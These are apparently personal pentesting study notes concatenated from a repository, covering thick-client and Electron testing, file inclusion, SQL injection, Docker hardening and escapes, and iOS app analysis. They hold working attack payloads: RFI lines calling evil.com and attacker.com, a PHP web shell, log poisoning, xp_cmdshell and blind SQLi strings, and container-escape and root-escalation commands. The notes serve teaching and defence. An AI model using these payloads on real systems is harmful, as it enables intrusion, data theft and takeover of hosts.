 20 | 
 21 | ## Information Gathering
 22 | - **CFF Explorer**
 23 |   - File headers and other static attributes help us understand the underlying technology stack
 24 | - **Binscope** from microsoft
 25 |   - Compiler protection checks prevent BoF attacks
 26 |   - Command: `binscope.exe /verbose /html /logfile <results_output> <target_app_path>`
 27 | - **Signcheck** from sysinternals
 28 |   - Check if binary is signed or not
 29 |   - Command: `sigcheck.exe <target_app_path>`
 30 | - **Strings** from sysinternals
 31 |   - Check for any harcoded sensitive strings
 32 |   - Command: `strings.exe <target_app_path>`
 33 | - **Regshot**
 34 |   - To find sensitive info in registry
 35 |     - 1st shot button - before working on the app
 36 |     - 2nd shot button - after working on the app
 37 |     - Compare button - to see the difference and identify registry changes made by the application (search by application name as it will contain other app's registry entries as well)
 38 | - Verbose error messages due to improper error handling
 39 | 
 40 | ## Reverse Engineering
 41 | - **dnSpy** for .Net applications
 42 |   - To modify a decompiled code: Right click > edit iL code > make changes > Click OK > File > Save Module > Relaunch the app
 43 | - **JDGUI** for Java applications
 44 | 
 45 | ## Network communication
 46 | - **Echo Mirage**
 47 |   - Intercept traffic between thick client and local/remote server
 48 |   - Start echo mirage. Rules > set direction ANY, address and port. "Execute" target application/"Inject" into currently running application.
 49 | - **TCPView** from sysinternals
 50 |   - Launch the application and we can see communications from different processes running in the system
 51 |   - Filter using Search: "DVT.exe"
 52 | - **Wireshark**
 53 |   - More verbose, not as easy as TCPView to filter
 54 | - **MITM Relay + Burp Proxy**
 55 |   - To make connections go through your burp proxy: Forward traffic from (Application) -> (OG destination port) -> (mitm port in attacker system) -> (Burp proxy in attacker system)
 56 | 
 57 | ## DLL highjacking
 58 | - DLL search order
 59 |   - Application directory
 60 |   - Current directory
 61 |   - System directory
 62 |   - 16-bit System directory
 63 |   - Windows directory
 64 |   - Directory in PATH variable
 65 | - **Process Monitor** from sysinternals
 66 |   - Result contains "NAME NOT FOUND"
 67 |   - Process Name is "DVT.exe"
 68 |   - Path ends with "dll"
 69 |   - Create a malicious dll with the name of the missing dll and place it in the Application directory. Restart the application. DLL will execute in context/with privilege of what the application is running
 70 | 
 71 | # Electron applications
 72 | - Electron app = Chromium + Node.js runtime
 73 | - Node runtime can interact with OS (system) APIs
 74 | 
 75 | ## Reverse Engineering
 76 | 
 77 | > An **app.asar file** is an archive that contains the source code for electron applications.
 78 | 
 79 | - Go to application's directory: Right-click on the application > Open file location
 80 | - Locate the 'resources' directory. There will be an **app.asar** file
 81 | - **Dump source**: Run the below commands (you need to have nodejs and npm installed in the system
 82 | ```
 83 | npm install -g asar
 84 | npm extract app.asar <dest-folder>
 85 | ```
 86 | - **Check for vulnerable dependencies**
 87 | ```bash
 88 | npm i --package-lock-only # if there is an ENOLOCK error
 89 | npm audit
 90 | ```
 91 | 
 92 | **XSS --> RCE**
 93 | - Primary entry point of the electron app is in the 'main' value of package.json
 94 | ```bash
 95 | # Example 
 96 | {
 97 |   "name": "electro-xss"
 98 |   "main": "index.js"      # ENTRY POINT
 99 |   .
100 |   .
101 |   .
102 | }
103 | ```
104 | - Go to the file mentioned in main. In this case, index.js
105 | ```bash
106 | # Within index.js
107 | 
108 | app.on('ready' ,() => {
109 | const MainWindow = new BrowserWindow({
110 | webPreferences: {
111 |             nodeIntegration: true,
112 |             contextIsolation: false,
113 |         }
114 | });
115 | MainWindow.loadURL('file://$(_dirname)/views/index.html')
116 | ```
117 | - When nodeIntegration is true, it enables DOM access to the nodejs APIs. Hence, XSS can be used to invoke nodejs functions resulting in RCE.
118 | - When contextIsolation is false, it does not ensure that the app’s internal logic runs in a separate context to the website loaded in BrowserWindow.
119 | 
120 | 
121 | **Resources**
122 | 1. [Thick-Client-Pentest-Checklist](https://github.com/Hari-prasaanth/Thick-Client-Pentest-Checklist)
123 | 2. [Thick Client Pentest: Modern Approaches and Techniques - Viraj Mota](https://www.youtube.com/watch?v=BBA72uLgcMg)
124 | 3. [Cobalt Core Academy: Thick Client Pentesting with Harsh Bothra](https://www.youtube.com/watch?v=q5PuvOlWrCQ)
125 | 4. [Hunting Common Misconfigurations in Electron Apps - Part 1](https://www.cobalt.io/blog/common-misconfigurations-electron-apps-part-1)
126 | 5. [An Intro To Electron Application Penetration Testing](https://payatu.com/blog/an-intro-to-electron/)
127 | 


--------------------------------------------------------------------------------
/web/10.lfi-rfi.md:
--------------------------------------------------------------------------------
  1 | # Local/Remote File Inclusion OR Path Traversal
  2 | 
  3 | _Notes from lessons by PinkDraconian_
  4 | 
  5 | **What are File Inclusions?**
  6 | 
  7 | Consider a URL: `https://example.com/view?file=cats.txt`
  8 | 
  9 | The backend code accepts unsanitized user input:
 10 | ```
 11 | $file = $_GET['file'];
 12 | include($file);
 13 | ```
 14 | 
 15 | Threat - Attacker can use this to retrieve (include) any other file: `https://example.com/view?file=../../etc/passwd`
 16 | 
 17 | Two types:
 18 | 1. **Local FI** : If the included file is local to the target (like the /etc/passwd file). Common but hard to exploit.
 19 | 2. **Remote FI** : If the inlcuded file is remote to the target (attacker hosted exploit being executed by the target server). Less common but easier to exploit.
 20 | 
 21 | Severity: By itself it is low. Need to chain it to make it impactful. Eg: LFI leading to RCE or sensitive info exposure.
 22 | 
 23 | **How to find a target?**
 24 | 
 25 | Scenarios to lookout for:
 26 | 1. Files fetched and printed to a page. `https://example.com/?file=cats.txt`
 27 | 2. Files served as downloads. `https://example.com/?download=cats.mp4`
 28 | 3. Files parsed by a backend interpreter. `https://example.com?load=cats.php`
 29 | 4. The above examples are GET parameters. We should also look at POST fields.
 30 | 
 31 | List of useful parameters
 32 | ```
 33 | cat   dir   action    board   date
 34 | detail    file    download    path    
 35 | folder    prefix    include   page
 36 | inc   locate    show    doc   site
 37 | type    view    content   document
 38 | layout    mod
 39 | ```
 40 | 
 41 | ## Test if the target is vulnerable
 42 | 1. Grab a file that you know will exist on the system
 43 | ```
 44 | Linux: /etc/passwd
 45 | Windows: %WINDIR%\win.ini
 46 | MacOS: /etc/fstab
 47 | ```
 48 | 2. Add a lot of `../../../` because you neet to reach `/`. And `../` of `/` is `/`.
 49 | 
 50 | ## Evade Filters:
 51 | 
 52 | 1. Null Byte Termination
 53 | ```
 54 | ?param=../../../etc/passwd%00
 55 | ```
 56 | 2. Double HTML encoding
 57 | 3. UTF-8 encoding
 58 | 4. Path and Dot truncation - PHP truncates very long filenames
 59 | ```
 60 | ?param-../../../etc/passwd........[Add more]
 61 | ?param-../../../etc/passwd\.\.\.\.[Add more]
 62 | ?param-../../../etc/passwd/./././.[Add more]
 63 | ?param-../../../[Add more]../../../etc/passwd
 64 | ```
 65 | 5. Add extra ../ If a system removes `../` from `....//` it will still be `../`
 66 | ```
 67 | ?param=....//....//etc/passwd
 68 | ?param=..///////..////..//////etc/passwd
 69 | ?param=..///////..////..///////etc/passwd
 70 | ```
 71 | 6. NGINX Alias LFI
 72 | If there is an alias mapping like
 73 | ```
 74 | location /i {
 75 |   alias /data/w3/images/;
 76 |  }
 77 | ```
 78 | If we browse to `/i../` instead of `i` -> we will browse to `/data/w3` instead of `/data/w3/images`
 79 | 
 80 | 7. Basic RFI
 81 | ```
 82 | ?param=http://evil.com/shell.php
 83 | ```
 84 | 8. SMB Shares - In PHP when `allow_url_include` and `allow_url_fopen` are disabled, we can use SMB shares (windows only) for file inclusion.
 85 | ```
 86 | ?param=\\IP\SHARE\shell.php
 87 | ```
 88 | 
 89 | ## Towards RCE
 90 | 
 91 | ### 1. Host a malicious file on attacker's website
 92 | ```
 93 | <?php 
 94 | system($_GET['c']);
 95 | ?>
 96 | ```
 97 | Include the malicious file
 98 | ```
 99 | https://example.com/index.php?file=http://attacker.com/mal.php
100 | ```
101 | 
102 | ### 2. Apache logs LFI
103 | - You can make a request with the payload as a header. This will write it to the log file `/var/log/apache2/access.log`. 
104 | - If you can include the log file, the server might execute the payload code.
105 | ```
106 | # Make a request to 
107 | https://example.com/index.php?file=/var/log/apache2/access.log&c=whoami
108 | # Add the payload as User-Agent string
109 | <?php system($_GET['c']);?>
110 | ```
111 | Check if response has the output of the command passed using `c` parameter.
112 | 
113 | ### 3. Through `/proc/self/environ`
114 | - The `/proc/self/environ` contains information about the current process which is the web server.
115 | - You can make a request with the payload as a User-Agent header.
116 | - If you can include the `/proc/self/environ` file, you might see the result of the payload executed.
117 | 
118 | 
119 | ### 4. Through email
120 | - You can send an email containing the payload to a USER.
121 | - If you can include `/var/mail/USER`, you might see the result of the payload executed.
122 | 
123 | ### 5. Using VSFTPD log
124 | - The VSFTPD log is `/var/log/vsftpd.log`
125 | - We can login to the VSFTPD service with the payload as the username. This invalid login will be logged.
126 | - If you can include `/var/log/vsftpd.log`, you might see the result of the payload executed.
127 | 
128 | ### 6. Using File upload
129 | - Upload a malicious file and include it.
130 | - Upload a zip file (file.zip) containing a php file (rce.php). Include using a **zip wrapper** `zip://file.zip%23rce.php`
131 | 
132 | ### 7. Using exposed `phpinfo()`
133 | - Check if `file_uploads = on` in the exposed phpinfo() page.
134 | - Upload a malicious file using phpinfo. It will be stored in `/tmp` for a very short period of time.
135 | 
136 | ### 8. Through SSH
137 | - Include `/home/USER/.ssh/id_rsa`
138 | - Get the rpivate key and crack it if needed.
139 | - Then SSH as the user `ssh -i id_rsa user@ip`.
140 | 
141 | ### 9. Through PHP sessions
142 | - PHP session cookie info is stored in `/var/lib/php5/sess_COOKIE` file.
143 | - Change the cookie value to the payload. It will be logged.
144 | - If included it may show the result of payload execution.
145 | 
146 | ### 10. Through `/proc/PID/fd/FD` [NOT FEASIBLE]
147 | - Send payloads in as many services (processes) as possible.
148 | - Bruteforce the PID and fd to find a process log file that has the result of the payload execution.
149 | 
150 | **Wrappers**
151 | 
152 | We can use wrappers to fetch source code. This itself is a vulnerability,but can als be used for further white-box analysis.
153 | 
154 | 1. php://filter 
155 | 2. data://
156 | 3. input://
157 | 4. zip://
158 | 5. phar://
159 | 6. expect:// (not enabled by default)
160 | 
161 | **Wordlists**
162 | 1. [Sec lists](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)
163 | 2. [List of files to look at](https://github.com/hussein98d/LFI-files)
164 | 
165 | **Resources**
166 | 1. [Apache LFI using log poisoning](https://www.hackingarticles.in/apache-log-poisoning-through-lfi/) 
167 | 2. [Wrappers Hacktricks](https://book.hacktricks.xyz/pentesting-web/file-inclusion)
168 | 


--------------------------------------------------------------------------------
/web/07.sqli.md:
--------------------------------------------------------------------------------
  1 | # SQL Injection
  2 | - User supplied data is considered as part of the code/SQL query instead of just being considered as data.
  3 | 
  4 | ## In-band (Classic) SQLi
  5 | - Attacker uses the same communication channel to perform the attack and get the results of the attack.
  6 | - Error based: force the db to generate an error to give more info about it Eg: the db version, the db query used, etc.
  7 | ```
  8 | www.random.com/app.php?id='
  9 | ```
 10 | - Union based: use the UNION operater to execute queries of your liking on the db. 
 11 | > NOTE: 
 12 | > The number of columns selected by both queries should be the same.
 13 | > The field types of both queries should be the same.
 14 | > The columns in the db should be known for the attacker to craft the UNION query.
 15 | ```
 16 | # Finding the number of fields
 17 | # Type 1: Start by injecting NULL and then increase the number of NULLs till the query does not return an error
 18 | 1337 UNION SELECT NULL; -- -
 19 | blabla' UNION SELECT NULL, NULL; -- -
 20 | 
 21 | # Type 2: Use ORDER BY: If the number of columns is 2, then at order by 3 it will return an error because the third column does not exist.
 22 | 1337 ORDER BY 1 -- -
 23 | 1337 ORDER BY 2 -- -
 24 | 1337 ORDER BY 3 -- -
 25 | 
 26 | # If the SQL error is not visible (no response/empty page and you are not sure if it is blocked or erroring out)
 27 | # Use a valid id
 28 | 1 UNION SELECT NULL; -- -
 29 | nybble04' UNION SELECT NULL; -- -
 30 | 
 31 | # To find the type of the field, substitute NULL with different data types.
 32 | ```
 33 | 
 34 | ### Example:
 35 | 
 36 | To find the column names of the people table (see [Try Hack Me Burp Repeater](https://tryhackme.com/module/learn-burp-suite))
 37 | ```
 38 | # This will return only the first row of the output, so you will only see one column name
 39 | ' UNION SELECT column_name, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name="people"
 40 | 
 41 | # To see all rows of the output use group_concat
 42 | ' UNION SELECT group_concat(column_name), NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name="people"
 43 | ```
 44 | 
 45 | ## Inferential (Blind) SQLi
 46 | - Attacker can't see the actual results of their query, but they can use other inferential parameters
 47 | - Boolean: see True/False results.
 48 | ```
 49 | # Send an input that you know is accepted/True
 50 | ' and 1=1
 51 | 
 52 | # Send an input that you know is not accepted/False
 53 | ' and 1=2
 54 | 
 55 | # Observe the behaviour/response of the application for each input.
 56 | Eg: True -> "Success" ; False -> "Try again"
 57 | ```
 58 | 
 59 | ### Example:
 60 | - We can bruteforce the password using SUBSTRING(string, start_index, no_chars_to_extract).
 61 | ```
 62 | ' and SUBSTRING((SELECT password from users WHERE username = 'administrator'), 1, 1) ='a'    # check first char is a
 63 | ' and SUBSTRING((SELECT password from users WHERE username = 'administrator'), 1, 1) ='b'    # check first char is b
 64 |                                                     ... ... ...
 65 | ' and SUBSTRING((SELECT password from users WHERE username = 'administrator'), 2, 1) ='a'    # check second char is a
 66 | ```
 67 | - Time: observe the time taken for query completion.
 68 | 
 69 | ## Out-of-Band SQLi
 70 | - Attacker can't use the same channel and has to use a different network connection to make the attack. Eg: DNS or HTTP request.
 71 | > We need to know the type of database.
 72 | > We need to know if certain functions are enabled or can be enabled in the database.
 73 | - MSSQL [xp_cmdshell RCE](https://medium.com/@alokkumar0200/owning-a-machine-using-xp-cmdshell-via-sql-injection-manual-approach-a380a5e2a340)
 74 | ```
 75 | admin' UNION SELECT 1,2,3,4,5; EXEC sp_configure 'show advanced options', 1-- -
 76 | admin' UNION SELECT 1,2,3,4,5; RECONFIGURE-- -
 77 | admin' UNION SELECT 1,2,3,4,5; EXEC sp_configure 'xp_cmdshell', 1-- -
 78 | admin' UNION SELECT 1,2,3,4,5; RECONFIGURE-- -
 79 | 
 80 | admin' UNION SELECT 1,2,3,4,5; EXEC xp_cmdshell 'ping <collab_url>.burpcollaborator.net'-- -
 81 | ```
 82 | - PostgreSQL [9.3 RCE using COPY](https://www.exploit-db.com/exploits/50847) , [reading files](https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql)
 83 | ```
 84 | CREATE TABLE demo(t text);
 85 | COPY demo from '/etc/passwd';
 86 | SELECT * FROM demo;
 87 | ```
 88 | 
 89 | ## Defences
 90 | **Primary Defenses**
 91 | 1. Prepared statements (Primary - Mandatory)
 92 | - Java
 93 | ```java
 94 | String custname = request.getParameter("customerName");
 95 | String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
 96 | PreparedStatement pstms = connection.prepareStatement (query);
 97 | pstms.setString(1, custname);
 98 | ResultSet results = pstmt.executeQuery();
 99 | ```
100 | - PHP
101 | ```php
102 | $custname = $_GET["customerName"];
103 | $stmt = $conn->prepare("SELECT account_balance FROM user_data WHERE user_name = ?");
104 | $stmt->bind_param("s", $custname);                                                    # s is the type of the parameters passed
105 | $stmt->execute();
106 | ```
107 | 2. Stored Procedures (Primary - Secondary)
108 | 3. Whitelist input validation: allow only some characters in the field value (Primary - Secondary)
109 | 4. Escape user supplied inputs (Primary - Mandatory)
110 | 
111 | **Additional Defenses (good to have)**
112 | 1. Least privilege: Do not run the data as root, run with least privileges (Additional - defence in depth)
113 | 2. Disable unnecessary funtions: Prevents OOB attacks (Additional - defence in depth)
114 | 3. CIS Benchmark Audits (Additional - defence in depth)
115 | 4. Apply db patches (Additional - defence in depth)
116 | 
117 | ## SQL Map
118 | Test if GET param is vulnerable
119 | ```
120 | sqlmap –u <URL> -p <injection parameter> [options]
121 | ```
122 | Test if POST param is vulnerable
123 | ```
124 | Intercept request in Burp
125 | Save raw form of request to a file
126 | sqlmap –r <request file> -p parameter [options]
127 | ```
128 | 
129 | > If the previous two queries find that the target request is vulnerable to SQLi, we can proceed to dump information from the database using the commands below.
130 | 
131 | Extract db banner
132 | ```
133 | sqlmap -u <target> --banner <other options>
134 | ```
135 | Extract users
136 | ```
137 | sqlmap -u <target> --users <other options>
138 | ```
139 | Check if pwned user is an administrator
140 | ```
141 | sqlmap -u <target> --is-dba <other options>
142 | ```
143 | Extract databases
144 | ```
145 | sqlmap -u <target> --dbs <other options>
146 | ```
147 | Extract tables
148 | ```
149 | sqlmap -u <target> -D <database> --tables <other options>
150 | ```
151 | See columns of the table
152 | ```
153 | sqlmap -u <target> -D <database> -T <tables, comma separated list> --columns <other options>
154 | ```
155 | Get the values of the table columns (dump table)
156 | ```
157 | sqlmap -u <target> -D <database> -T <table> -C <columns list> --dump <other options>
158 | ```
159 | Test for blind injection
160 | ```
161 | sqlmap -u <target> --string <true_string / false_string>
162 | ```
163 | 
164 | **Resources**
165 | 1. [Rana Khalil](https://www.youtube.com/watch?v=1nJgupaUPEQ&list=PLuyTk2_mYISLaZC4fVqDuW_hOk0dd5rlf)
166 | 2. [Payloads for different databases](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
167 | 


--------------------------------------------------------------------------------
/devsecops/docker.md:
--------------------------------------------------------------------------------
  1 | # Securing the Docker Daemon
  2 | Regular port: 2375
  3 | 
  4 | TLS port: 2376
  5 | 
  6 | ## 1. Secure communication
  7 | - **We need to encrypt the communication between the Docker client and the server**
  8 | 
  9 | On the server:
 10 | - Create a keypair using openssl. You can use [this script by Alexis Ahmed](https://github.com/AlexisAhmed/DockerSecurityEssentials/blob/main/Docker-TLS-Authentication/secure-docker-daemon.sh).
 11 | - Create a config file that sepcifies how the docker daemon to run on startup
 12 |   ```
 13 |   sudo mkdir /etc/systemd/system/docker.service.d
 14 |   sudo vim /etc/systemd/system/docker.service.d/override.conf
 15 | 
 16 |   # Add the following contents in the conf file
 17 |   [Service]
 18 |   ExecStart=
 19 |   ExecStart=/usr/bin/dockerd -D -H unix:///var/run/docker.sock --tlsverify --tlscert=/home/user/.docker/server-cert.pem --tlscacert=/home/user/.docker/ca.pem --tlskey=/home/user/.docker/server-key.pem -H tcp://0.0.0.0:2376
 20 | 
 21 |   # Restart daemon and service
 22 |   sudo systemctl daemon-reload
 23 |   sudo systemctl restart docker
 24 |   sudo systemctl status docker  
 25 | 
 26 |   netstat -anp | grep 2376
 27 |   ```
 28 | 
 29 | On the client:
 30 | - Copy these files to the client
 31 |   ```
 32 |   key.pem
 33 |   cert.pem
 34 |   ca.pem
 35 |   ```
 36 | - Configure the following environment variables
 37 |   ```
 38 |   export DOCKER_TLS_VERIFY="1"
 39 |   export DOCKER_HOST_IP="tcp://SERVER_IP:2376"
 40 |   export DOCKER_CERT_PATH="/home/clientuser/.docker/"
 41 |   ```
 42 | 
 43 | ## 2. User Namespaces
 44 | - Namespaces are a feature of the Linux kernel that provide isolation of kernel resources. One process sees one set of resources, another process sees another set of resources.
 45 | - Namespaces are used to isolate resources like users, networks, processIDs among different containers.
 46 | - Running a docker container with the default namespace will make it run with the root account - this is insecure.
 47 | - **We need to reconfigure the docker daemon to make it use a non-default namespace, i.e. a user name space.**
 48 |   - We can use the `dockremap` user that is provided by Docker.
 49 |   - This is done by adding an extra argument `--userns-remap="default"` in the above config file
 50 |     ```
 51 |     sudo vim /etc/systemd/system/docker.service.d/override.conf
 52 | 
 53 |     # Add the following content in the conf file
 54 |     [Service]
 55 |     ExecStart=
 56 |     ExecStart=/usr/bin/dockerd -D -H unix:///var/run/docker.sock --tlsverify --tlscert=/home/user/.docker/server-cert.pem --tlscacert=/home/user/.docker/ca.pem --tlskey=/home/user/.docker/server-  key.pem --userns-remap="default" -H tcp://0.0.0.0:2376
 57 | 
 58 |     # Restart daemon and service
 59 |     sudo systemctl daemon-reload
 60 |     sudo systemctl restart docker
 61 |     sudo systemctl status docker
 62 | 
 63 |     cat /etc/subuid
 64 |     ```
 65 |   - Now every container will run as the low privileged dockremap user.
 66 |   - However, the user **within the container will be root**.
 67 |     ```
 68 |     docker run -it -rm <image_id> /bin/bash
 69 |     $~ whoami
 70 |     root
 71 |     ```
 72 | 
 73 | # Securing the Docker Container
 74 | 
 75 | ## 1. Disable root user within the container
 76 | - For this, you need to create your own Docker image
 77 | - A sample Dockerfile that creates a low privileged user `lowuser` and disables login as `root`
 78 |   ```
 79 |   FROM ubuntu
 80 | 
 81 |   RUN groupadd -r lowuser && useradd -r -g lowuser lowuser
 82 |   RUN chsh -s /usr/sbin/nologin root 
 83 | 
 84 |   # Environment variables
 85 |   ENV HOME /home/lowuser
 86 |   ENV DEBIAN_FRONTEND=noninteractive
 87 |   ```
 88 | - Build the Dockerfile
 89 |   ```
 90 |   docker build . -t lowusertest
 91 |   ```
 92 | - Start the container
 93 |   ```
 94 |   docker run -u lowuser -it --rm <image_id> /bin/bash 
 95 |   ```
 96 | - Switching to a root user within this container will be prohibited
 97 | 
 98 | ## 2. Prevent privilege escalation
 99 | - Sometimes SUID binaries can be abused to gain root privileges
100 | - To perevent this start the container using the following command
101 |   ```
102 |   docker run -u lowuser -it --rm --security-opt=no-new-privileges <image_id> /bin/bash 
103 |   ```
104 | 
105 | ## 3. Assign selected Linux kernel capabilities
106 | - **Capabilities**: In simple terms, instead of assigning full root privileges, capabilities allow assigning selected privileges of the root user.
107 | - Example, we can run the container as lowuser, but with `CAP_NET_ADMIN` capability, which allows lowuser to perform network administration operations. Make sure to use `--cap-drop all` to disable other capabilities by default
108 |   ```
109 |   docker run --cap-drop all --cap-ad NET_ADMIN -u lowuser -it --rm <image_id> /bin/bash 
110 |   ```
111 | 
112 | ## 4. Make the filesystem read only
113 | - If you want to make the whole file system read only (applies to all users, even root)
114 |   ```
115 |   docker run --read-only -it -rm <image_id> /bin/bash
116 |   ```
117 | - If you want to make a temporary writeable directory but keep the rest of the file system read only (applies to all users, even root)
118 |   ```
119 |   docker run --read-only --tmpfs /opt -it -rm <image_id> /bin/bash
120 |   ```
121 | 
122 | ## 5. Disable inter container communication (icc)
123 | - See docker networks - By default all containers use the `bridge` network. So we have to create our own network with icc disabled
124 |   ```
125 |   docker network ls
126 |   ```
127 | - See inter container communication setting of a network
128 |   ```
129 |   docker inspect <network_name>
130 |   ```
131 | - Create our own network with icc disabled
132 |   ```
133 |   docker network create --driver bridge -o "com.docker.network.bridge.enable_icc"="false" test-net
134 |   docker inspect test-net
135 |   ```
136 | - Now start containers with this new network
137 |   ```
138 |   docker run --network test-net -it --rm <image_id> /bin/bash
139 |   ```
140 | 
141 | # Auditing Docker
142 | 
143 | ## Docker Bench for Security
144 | - Based on CIS Docker Benchmark
145 | - [Repository](https://github.com/docker/docker-bench-security)
146 | ```
147 | ./docker-bench-security
148 | ```
149 | 
150 | # Docker Attacks
151 | 
152 | ## 1. Docker group privilege escalation on host
153 | - If low privilege user is part of the `docker` group
154 | - Start a new docker container
155 | - Mount the root directory of the host into the container
156 |   ```
157 |   docker run -it -v /:/host/ alpine:latest bash
158 |   cd /host
159 |   ```
160 | - Now exploit
161 |   - Put your own ssh key into /host/root/.ssh
162 |   - Modify /host/etc/shadow to create a new root user with a known password
163 | 
164 | ## 2. Container escape - From privileged container to host
165 | 
166 | ### Mounted docker socket escape
167 | - If a docker socket is mounted on a running container, we can communicate with the docker daemon from within the container
168 | ```
169 | # Check if a docker socket is mounted. It is usually in /run/docker.sock
170 | find / -name docker.sock 2>/dev/null
171 | 
172 | # Run an image within the existing image and mount the root directory of the host to /host of the container
173 | docker run -it -v /:/host/ alpine:latest bash
174 | cd host
175 | chroot ./ bash
176 | ```
177 | 
178 | ### Linux capabilities escape
179 | Find abuse vectors for capabilities at [HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_admin)
180 | ```
181 | # Enumerate for capabilities
182 | capsh --print
183 | 
184 | # Look for any of these
185 | CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN
186 | 
187 | # Find abuse methods on the hacktricks link above
188 | ```
189 | 
190 | ### Container root with mount -> host root 🔥
191 | - In the container - There is a host mount /host_in_cont. You are root
192 | - In the host - You have read access to the mounted directory /host. You are lowuser
193 | ```
194 | # On host
195 | cp /bin/bash /host
196 | 
197 | # On container
198 | chown root:root /host_in_cont/bash
199 | chmod 4777 bash
200 | 
201 | # On host
202 | bash -p
203 | ```
204 | 
205 | ### Container root without mount -> host root 🔥
206 | - In the container - You are root
207 |   - You will have the capability MKNOD by default.
208 |   - With this capability we can create block device files.
209 |     - Device files are used to access underlying hardware and kernel module.
210 |     - `/dev/sda` block device file allows to read raw data on the disk
211 |   - ⭐ If a block file is created within a container - it can be accessed by a host user with the same username of the in-container creator, at `/proc/PID/root/`
212 | - In the host - You are lowuser
213 | ```
214 | # On container
215 | cd /
216 | mknod sda b 8 0
217 | chmod 777 sda
218 | echo "lowuser:x:1000:1000:lowuser,,,:/home/lowuser:/bin/bash" >> /etc/passwd
219 | su lowuser
220 | 
221 | # On host - get the PID of the lowuser shell in the container
222 | ps -aux | grep /bin/sh
223 | ls /proc/PID/root/sda
224 | ```
225 | 
226 | **Resources:**
227 | 1. [Securing The Docker Daemon by HackerSploit](https://www.youtube.com/watch?v=70QOBVwLyC0&list=PLBf0hzazHTGNv0-GVWZoveC49pIDHEHbn&index=7)
228 | 2. [How To Secure & Harden Docker Containers by HackerSploit](https://www.youtube.com/watch?v=CQLtT_qeB40&list=PLBf0hzazHTGNv0-GVWZoveC49pIDHEHbn&index=6)
229 | 3. [Auditing Docker Security by HackerSploit](https://www.youtube.com/watch?v=mQkVB6KMHCg&list=PLBf0hzazHTGNv0-GVWZoveC49pIDHEHbn&index=2)
230 | 4. [Linux Privilege Escalation - Docker Group](https://www.youtube.com/watch?v=pRBj2dm4CDU&list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV&index=2)
231 | 5. [Escaping Docker Containers - Mounted Docker Socket](https://www.youtube.com/watch?v=EEFRuUUlDck)
232 | 6. [Docker Pentesting by HackTricks](https://book.hacktricks.xyz/network-services-pentesting/2375-pentesting-docker#compromising)
233 | 7. [Docker Breakout / Privilege Escalation by HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation)
234 | 


--------------------------------------------------------------------------------
/mobile/ios.md:
--------------------------------------------------------------------------------
  1 | > NOTE: Read Android notes before reading iOS notes.
  2 | 
  3 | # iOS Security Architecture
  4 | - Hardware Layer
  5 |   - Hardware components are signed into the device - replacement with non-signed component will make the phone unusable
  6 |   - Each device has a set of two keys: Device Key and Group Key which are signed by the Apple Root Certificate
  7 | - Software Layer
  8 |   - iOS is Unix based
  9 |   - File system has two partitions
 10 |     - User partition
 11 |     - OS partition
 12 |   - All applications are signed by Apple
 13 |   - Apple developer profiles
 14 |     - Free: For testing purposes. We can sideload the app into the test device.
 15 |     - Paid: To publish an app in the App Store.
 16 | 
 17 | # iOS File System
 18 | - Bundle directory - `/var/containers/Bundle/Application/[RANDOM_UUID]`
 19 | - Runtime data storage (Data directory) - `/var/mobile/Containers/Data/[RANDOM_UUID]`
 20 | - **Special Purpose Directories**
 21 |   - User generated contents - `Documents/`
 22 |   - Non-user generated contents - `Library/`
 23 |     - `Library/Application Support/` - Hidden support files
 24 |     - `Library/Caches/` - Cache data
 25 |     - `Library/Preferences/` - Preference files
 26 |   - Temporary storage - `tmp/`
 27 | 
 28 | # Jail Breaking
 29 | The process of removing software restrictions imposed by the manufacturer through kernel patching.
 30 | > Use with caution. Only use on test devices without any personal, sensitive or important data.
 31 | 
 32 | Types:
 33 | 1. Untethered - Once jailbroken, the kernel gets patched everytime the device booted without the need for an external computer.
 34 | 2. Tethered - Once jailbroken, an external computer is required to boot the device. It will not boot without the computer.
 35 | 3. Semi-tethered - It will boot as a normal (non-jailbroken) device without a computer. But to access the jailbroken features, it should be booted with a computer.
 36 | 4. Semi-untethered - It will boot as a normal (non-jailbroken) device. An app is used to access the jailbroken features.
 37 | 
 38 | ## Test devices
 39 | - Jailbroken device (use with caution)
 40 |   - [Checkra1n exploit](https://checkra.in/) - Cydia
 41 |   - iOS 15.x-16.x [Palera1n exploit](https://github.com/palera1n) - Sileo Nightly
 42 | - Emulators
 43 |   - [Corellium](https://www.corellium.com/) (paid, no trial)
 44 |   - [Appetize.io](https://appetize.io/) (paid, has trial)
 45 |   - Xcode built in emulator
 46 | 
 47 | # Static Analysis
 48 | 
 49 | ## Mach-O Disassembly
 50 | - iOS binaries (Mach-O) cannot be decompiled - they can only be disassembled
 51 |   - Use `Otool` which comes inbuilt with Xcode to disassemble the binary
 52 |   - If the source is written in Objective-C we can see the classes and methods being used
 53 |   - Look for ASLR: `otool -hv <appname>`
 54 |   - Look for stack smashing protection: `otool -I -v <appname> | grep stack`
 55 |     
 56 | ## iPA Analysis
 57 | - Application files are in a `.ipa` format (To remember: **i**OS **pa**ckage). It is a zipped file.
 58 | - Pulling IPA from App Store (always use a burner AppleID)
 59 |   - [AnyTrans by imobie](https://www.imobie.com/anytrans/)
 60 |   - [IPATool](https://github.com/majd/ipatool)
 61 | - ⭐ **Look for .plist and .json files** - Rename .ipa to .zip and extract it  
 62 |   ```
 63 |   [Application].zip
 64 |   |_ iTunesMetadata.plist        <----- Information about the developer
 65 |   |_ META-INF/
 66 |   |_ Payload/                    <----- Look for .plist files with strings of interest
 67 |     |_ [Application_Name].app    <----- The application. (Right Click > Show Package Contents)
 68 |        |_ Info.plist             <----- Information about the application (like in AndroidManifest.xml)
 69 |        |_ Frameworks/
 70 |        |_ assets/                <----- Look for .json files with strings of interest
 71 |   ```
 72 | - ⭐ Look for **supported versions**
 73 |   - In `Info.plist` look for `MinimumOSVersion`
